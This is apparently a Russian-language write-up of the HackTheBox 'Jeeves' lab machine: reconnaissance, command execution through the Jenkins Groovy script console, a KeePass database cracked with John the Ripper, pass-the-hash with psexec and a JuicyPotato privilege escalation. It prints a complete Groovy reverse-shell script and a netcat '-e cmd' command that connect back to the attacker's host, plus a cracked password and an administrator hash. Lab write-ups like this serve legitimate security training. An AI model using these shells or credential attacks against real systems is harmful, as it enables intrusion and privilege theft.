> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md).

# Запись HackTheBox Jeeves

{% embed url="<https://app.hackthebox.com/machines/114>" %}

{% hint style="warning" %}
**Навыки:**

* Эксплуатация Jenkins (консоль Groovy-скриптов)
* Взлом KeePass
* Передача хэша (Psexec)
* RottenPotato (SeImpersonatePrivilege)
* Альтернативные потоки данных (ADS)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Мы создадим рабочее пространство, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки с помощью Nmap

<figure><img src="/files/67af03545d6b51fc80af35decbf66cd29d4625cb" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/8968038eb648172f09b07beb81a8d5ac600ef3be" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.63 -oG allPorts
```

<figure><img src="/files/d4ae9c865d1973f42d2de7424c74b1849e930f11" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используя функцию extractPorts, чтобы в кратком формате отобразить открытые порты и скопировать их в буфер обмена (80.135.445.50000)

<figure><img src="/files/66c72fed0900f9f25e8ef497ac64258c660915c0" alt=""><figcaption></figcaption></figure>

**Сканирование версий портов с Nmap:**

Используйте Nmap для сканирования версий сервисов и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p80,135,445,50000 10.10.10.63 -oN targeted
```

<figure><img src="/files/bcf5fbf672ebf4899651c6ccbafe3c155b4a2057" alt=""><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="/files/703f6159afa47b7996a981b40753ff4f9e154bc5" alt=""><figcaption></figcaption></figure>

HTTP-порт постоянно перенаправляет на `error.html` страницу. Другая полезная информация не была найдена.

<figure><img src="/files/3887b683ffdf25426af138d2f14503a17bc8e79f" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/7d964217388697687062bbd25533eaecc5b0f6cd" alt=""><figcaption></figcaption></figure>

### Порт 445 - SMB

Мы пытаемся перечислить SMB-ресурсы с помощью `smbmap` и `smbclient`:

```bash
smbmap -H 10.10.10.63 -u 'null'
smbmap -H 10.10.10.63
```

```bash
smbclient -L 10.10.10.63 -N
```

Однако сеанс завершается со следующей ошибкой:

```
session setup failed: NT_STATUS_ACCESS_DENIED
```

Мы используем `crackmapexec` чтобы собрать информацию о машине:

```bash
crackmapexec smb 10.10.10.63
```

Результат:

* **ОС** : Windows 10 Pro 10586 x64
* **Имя машины**: JEEVES
* **Домен**: Jeeves

<figure><img src="/files/6e31f34f9e2ee6ba12cc916cec9963eb2ba8ad09" alt=""><figcaption></figcaption></figure>

### **Порт 50000 - Jenkins**

<figure><img src="/files/75db178c93abe425ec94d65c22777933c83666ba" alt=""><figcaption></figcaption></figure>

Мы запускаем сканирование директорий с помощью `gobuster` чтобы исследовать содержимое HTTP-сервиса:

```bash
gobuster dir -u http://10.10.10.63:50000/ -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200
```

Мы обнаруживаем каталог **/askjeeves**

<figure><img src="/files/4a225a41c373f20c67b77417eb72f473d931c9d3" alt=""><figcaption></figcaption></figure>

### CMS - Jenkins

<figure><img src="/files/739f99be59ce4ad99038ca0a822665ea06ac90be" alt=""><figcaption></figcaption></figure>

**Jenkins - выполнение Groovy-скриптов**

CMS Jenkins доступна, и **Консоль скриптов** опция включена, что позволяет нам запускать Groovy-скрипты.

<figure><img src="/files/b382ecfb2c800072562a5a6561163cfc9f30ac68" alt=""><figcaption></figcaption></figure>

Пример команды для проверки выполнения:

```groovy
println "ipconfig".execute().text
```

<figure><img src="/files/cafa65fc13b77fdf4a3b551904751b41ef9bd9a5" alt=""><figcaption></figcaption></figure>

### **Эксплуатация**

#### **Обратная оболочка через консоль Groovy-скриптов**

Чтобы получить удалённый доступ, действуем следующим образом:

1. /*/* Слушаем на нашей машине порт 443/*/*:

```bash
rlwrap nc -nvlp 443
```

2. /*/* Запускаем следующий скрипт в Groovy/*/* консоли, чтобы установить обратную оболочку:

{% code overflow="wrap" %}

```groovy
String host="10.10.14.9";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
```

{% endcode %}

<figure><img src="/files/06ccfc8b06284bfdab9ece33580796b78e1fb78a" alt=""><figcaption></figcaption></figure>

### Флаг user.txt :)

<figure><img src="/files/504a73c1936bfac7774651c5de3edd3f531097c9" alt=""><figcaption></figcaption></figure>

## **Повышение привилегий**

## **Метод 1: взлом файла Keepass**

В **Документы** каталог пользователя **Kosure**, мы находим файл с **.kdbx** расширением (файл Keepass).

<figure><img src="/files/7afd1508cfd2659ef299eea7c476faeb024b8464" alt=""><figcaption></figcaption></figure>

/*/* Передача файла Keepass на нашу хост-машину/*/*/ Мы создаём SMB-сервер на нашей Linux-машине для передачи файла. Для этого мы используем `smbserver.py`:

```bash
smbserver.py share $(pwd) -smb2support
```

**Передача с Windows**/ С Windows-машины мы копируем **CEH.kdbx** файл на нашу хост-машину:

```powershell
copy C:/Users/kohsuke/Documents/CEH.kdbx //10.10.14.9/share/
```

<figure><img src="/files/94bec065ccb482b57a16ab4571f2b43c38d7d8ba" alt=""><figcaption></figcaption></figure>

### **Извлечение хэша из файла KDBX**

Чтобы извлечь хэш из файла KDBX, мы используем утилиту **KDBX** мы используем **keepass2john** утилиту, которая входит в **John the Ripper**:

```bash
keepass2john CEH.kdbx
```

<figure><img src="/files/b7c5c11de398c84ec7c4b9593a06583f4ad386d1" alt=""><figcaption></figcaption></figure>

### **Взлом хэша**

Мы используем **John the Ripper** чтобы выполнить атаку перебором на извлечённый хэш с помощью **списком паролей rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

Обнаруженный пароль:

* `moonshine1`

<figure><img src="/files/4a64214a7d6a9aea6253f053fb6ad21ab3bbd9c2" alt=""><figcaption></figcaption></figure>

### **Просмотр содержимого Keepass**

Мы используем **KeepassXC** для открытия и просмотра содержимого **Keepass**

<figure><img src="/files/822af2281ef34cc38e5447705f500c7b504f51e0" alt=""><figcaption></figcaption></figure>

После ввода **moonshine1** пароля мы получаем доступ к нескольким паролям, включая NTLM v2-хэш пользователя **Administrator**:

<figure><img src="/files/822af2281ef34cc38e5447705f500c7b504f51e0" alt=""><figcaption></figcaption></figure>

```bash
aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
```

#### /*/* Проверка NTLM v2-хэша с CrackMapExec/*/*

Мы проверяем, соответствует ли хэш учётной записи **Administrator** на **CrackMapExec**:

```bash
crackmapexec smb 10.10.10.63 -u 'Administrator' -H 'aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00'
```

Хэш действителен, и теперь мы можем провести атаку **Передача хэша**.

<div data-full-width="true"><figure><img src="/files/83de806b47b5f0ecd4076c3fd1637d83d829724d" alt=""><figcaption></figcaption></figure></div>

### **Pass-the-Hash — PsExec**

Мы используем **PsExec** чтобы подключиться к целевой машине, используя обнаруженный NTLM v2. Это даёт нам административные привилегии

```bash
psexec.py WORKGROUP/Administrator@10.10.10.63 -hashes :e0fb1fb85756c24235ff238cbe81fe00
```

Теперь у нас есть полный доступ как у администратора.

<figure><img src="/files/77988204287145517c4ef8c6bac2aa84e98e31a1" alt=""><figcaption></figcaption></figure>

## **Метод 2: эксплуатация привилегии SeImpersonatePrivilege**

Мы обнаружили, что у пользователя есть `SeImpersonatePrivilege` привилегия, что делает его уязвимым для некоторых техник повышения привилегий. Нижеуказанная команда подтверждает наличие этой привилегии:

```bash
whoami /priv
```

<figure><img src="/files/faf53277c3ae9525fe88992a03d4481693405ec4" alt=""><figcaption></figcaption></figure>

Чтобы воспользоваться этой уязвимостью, мы используем **JuicyPotato**— известный инструмент для злоупотребления этой привилегией в среде Windows.

**Скачать необходимые инструменты**

{% embed url="<https://github.com/ohpe/juicy-potato/releases/tag/v0.1>" %}

{% embed url="<https://eternallybored.org/misc/netcat/>" %}

**Запустить сервер SmbFolder** на нашей атакующей машине, чтобы раздавать файлы:

```bash
smbserver.py share $(pwd) -smb2support
```

**Передача файлов на целевую машину** используя `Invoke-WebRequest`:

<pre class="language-powershell"><code class="lang-powershell"><strong>copy //10.10.14.9/share/JP.exe
</strong>copy //10.10.14.9/share/nc64.exe
</code></pre>

<figure><img src="/files/2f530fa19898059875030b343d322d1d10e11fb3" alt=""><figcaption></figcaption></figure>

**Запуск JuicyPotato для повышения привилегий**

Теперь мы запустим JuicyPotato, чтобы получить привилегированную сессию. Следующая команда запускает JuicyPotato, который запускает `cmd.exe` с высокими привилегиями и устанавливает соединение с нашей атакующей машиной через Netcat:

```powershell
./JP.exe -t * -l 1337 -p C:/Windows/System32/cmd.exe -a "/c C:/Windows/Temp/privesc/nc64.exe -e cmd 10.10.14.9 1234"
```

**Вход в высокую сессию**

Чтобы перехватить соединение, мы слушаем порт 1234:

```bash
rlwrap nc -nvlp 1234
```

<figure><img src="/files/30b0d02230f641f46b56cd4835c400536de2cc7e" alt=""><figcaption></figcaption></figure>

## Флаг root - ADS

> Альтернативные потоки данных (ADS) — это функция **NTFS** файловых систем Windows, позволяющая связывать несколько потоков данных с одним файлом. Эти дополнительные потоки могут содержать скрытую информацию, которая не видна при традиционной проверке файла. Мы используем эту функцию, чтобы обнаружить **флаг root**.

<figure><img src="/files/85cf08a953b4dd58a0ac9882bc5963b584bacf71" alt=""><figcaption></figcaption></figure>

#### **1. Проверка альтернативных потоков данных (ADS)**

Сначала мы проверяем, содержит ли **hm.txt** файл, расположенный на рабочем столе пользователя **Administrator** альтернативные потоки данных. Для этого используем следующую команду:

```bash
dir /r C:/Users/Administrator/Desktop/hm.txt
```

Эта команда выводит все альтернативные потоки данных, связанные с **hm.txt** файлом. Если альтернативный поток данных присутствует, он будет отображен.

<figure><img src="/files/3451c24b3d1429c28241e032346424bf34e645ae" alt=""><figcaption></figcaption></figure>

#### **2. Просмотр содержимого альтернативного потока данных**

Если мы найдём альтернативный поток данных, связанный с файлом, мы можем вывести его содержимое следующей командой:

```powershell
more < C:/Users/Administrator/Desktop/hm.txt:root.txt
```

Это позволяет нам прочитать содержимое **root.txt** потока и получить **флаг root :)**

<figure><img src="/files/f7b6f7370440ba27a933b12f3cbb10fa9048fc7d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/0b4cc037bc0f16e9be90b98345ae477216ff6a87" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/windows-medium/jeeves-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
